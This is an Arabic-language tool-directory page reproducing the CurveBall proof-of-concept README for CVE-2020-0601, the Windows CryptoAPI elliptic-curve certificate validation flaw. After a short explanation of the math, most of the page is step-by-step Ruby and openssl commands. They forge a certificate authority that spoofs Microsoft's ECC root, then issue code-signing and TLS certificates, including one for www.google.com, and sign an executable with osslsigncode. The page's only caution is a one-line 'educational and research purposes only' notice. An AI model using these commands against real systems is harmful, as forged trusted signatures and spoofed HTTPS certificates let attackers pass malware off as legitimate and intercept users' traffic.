Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CurveBall — إثبات المفهوم لـ CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) | Kitploit
أدوات/GitHubGitHub/ly4k/curveball
تحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن الويبالتشفيرالتعلم والتعليم
GitHubly4k/curveball

CurveBall

إثبات المفهوم لـ CVE-2020-0601- Windows CryptoAPI (Crypt32.dll)

عرض المستودع
8892562منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CurveBall (CVE-2020-0601) - إثبات المفهوم

CVE-2020-0601، أو ما يُعرف عادةً باسم CurveBall، هو ثغرة أمنية لا يتم فيها التحقق من توقيع الشهادات التي تستخدم تشفير المنحنيات الإهليلجية (ECC) بشكل صحيح.

تعتمد ECC على معاملات مختلفة. هذه المعاملات موحدة للعديد من المنحنيات. ومع ذلك، لم تقم Microsoft بفحص جميع هذه المعاملات. لم يتم فحص المعامل G (المولّد)، وبالتالي يمكن للمهاجم توفير المولّد الخاص به، بحيث عندما تحاول Microsoft التحقق من صحة الشهادة مقابل مرجع مصدق موثوق، فإنها ستبحث فقط عن مفاتيح عمومية متطابقة، ثم تستخدم بعد ذلك مولّد الشهادة. تشرح NSA تأثير هذه الثغرة والمزيد هنا.

MicrosoftECCProductRootCertificateAuthority.cer هي افتراضيًا شهادة مرجع مصدق جذر موثوق تستخدم ECC على نظام Windows 10. وبالتالي، سيتم تلقائيًا الثقة بأي شيء موقّع بهذه الشهادة.

المتطلبات الدنيا openssl 1.1.0 ruby 2.4.0

التفاصيل الرياضية

إذا كنت مهتمًا بالتفاصيل الرياضية للثغرة، فيرجى قراءة المزيد هنا.

لتزوير الشهادة، نقوم بتعيين المعاملات التالية:

root@kitploit:~
d' = 1
G' = Q

بحيث Q = Q' = d'G'.

الاستخدام

أنشئ شهادة بنفس المفتاح العمومي ومعاملات المرجع المصدق الموثوق. سيتم استخدامها كمرجع مصدق مزور خاص بنا. قم بتعيين المولّد إلى قيمة تعرف فيها المفتاح الخاص. يمكنك بسهولة تعيين المولّد إلى المفتاح العمومي، والحصول على مفتاح خاص بقيمة 1، لأن Q = dG.

بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) مع الامتدادات التي ترغب في استخدامها، مثل توقيع الكود أو مصادقة الخادم.

قم بتوقيع طلب الشهادة هذا باستخدام المرجع المصدق المزور والمفتاح الخاص للمرجع المصدق، وأضف امتدادات الاستخدام.

قم بحزم طلب الشهادة الموقع (الذي أصبح الآن شهادة عادية) مع المرجع المصدق المزور، وستحصل على شهادة موقعة وموثوقة.

عندما يتحقق Windows مما إذا كانت الشهادة موثوقة، سيرى أنها موقعة من قبل المرجع المصدق المزور الخاص بنا. ثم يبحث عن المفتاح العمومي للمرجع المصدق المزور للتحقق من المرجع المصدق الموثوق. ثم يقوم ببساطة بالتحقق من توقيع المرجع المصدق المزور الخاص بنا باستخدام مولّد المرجع المصدق المزور - هذه هي المشكلة.

إذا اخترت فتح شهادتك الجديدة والموقعة والموثوقة في Windows، فلن يتعرف عليها كموثوقة، لأنها لم تكن مرتبطة بأي شيء، وبالتالي لن يستخدم المرجع المصدق المزور. يجب أن تقدم الشهادة نفسها دائمًا مع المرجع المصدق المزور.

توقيع الكود

يرجى استخدام هذا للأغراض التعليمية والبحثية فقط.

استخرج المفتاح العمومي من المرجع المصدق وقم بتعديله وفقًا للثغرة:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

قم بإنشاء شهادة x509 جديدة بناءً على هذا المفتاح. سيكون هذا هو المرجع المصدق المزور الخاص بنا.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

قم بإنشاء مفتاح جديد. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيتم استخدامه لإنشاء شهادة توقيع كود، والتي سنوقعها باستخدام المرجع المصدق الخاص بنا.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

بعد ذلك، قم بإنشاء طلب توقيع شهادة جديد (CSR). غالبًا ما يتم إرسال هذا الطلب إلى مراجع مصدقة موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزورًا، يمكننا توقيعه بأنفسنا.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

وقع على طلب توقيع الشهادة الجديد الخاص بك باستخدام المرجع المصدق المزور والمفتاح الخاص للمرجع المصدق. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما ستنتهي صلاحية المرجع المصدق الموثوق من Microsoft في عام 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

الشيء الوحيد المتبقي هو حزم الشهادة ومفتاحها والمرجع المصدق المزور في ملف PKCS12 لتوقيع الملفات القابلة للتنفيذ.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

وقع على الملف القابل للتنفيذ باستخدام ملف PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

يرجى استخدام هذا للأغراض التعليمية والبحثية فقط.

استخرج المفتاح العمومي من المرجع المصدق وقم بتعديله وفقًا للثغرة:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

قم بإنشاء شهادة x509 جديدة بناءً على هذا المفتاح. سيكون هذا هو المرجع المصدق المزور الخاص بنا.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

قم بإنشاء مفتاح جديد. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيتم استخدامه لإنشاء شهادة SSL، والتي سنوقعها باستخدام المرجع المصدق الخاص بنا.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

بعد ذلك، قم بإنشاء طلب توقيع شهادة جديد (CSR). غالبًا ما يتم إرسال هذا الطلب إلى مراجع مصدقة موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزورًا، يمكننا توقيعه بأنفسنا.

إذا كنت ترغب في تغيير اسم النطاق، قم بتعديل CN = www.google.com إلى CN = www.example.com داخل openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

وقع على طلب توقيع الشهادة الجديد الخاص بك باستخدام المرجع المصدق المزور والمفتاح الخاص للمرجع المصدق. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما ستنتهي صلاحية المرجع المصدق الموثوق من Microsoft في عام 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

يمكنك الآن استخدام cert.crt و cert.key و spoofed_ca.crt لتقديم المحتوى الخاص بك. مرة أخرى، تذكر إضافة spoofed_ca.crt كسلسلة شهادات في تكوين HTTPS لخادمك.

راجع مثال الاستخدام في tls/index.js.

تنزيل الأداة